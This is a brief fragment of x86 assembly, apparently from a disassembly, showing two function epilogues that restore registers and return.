mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret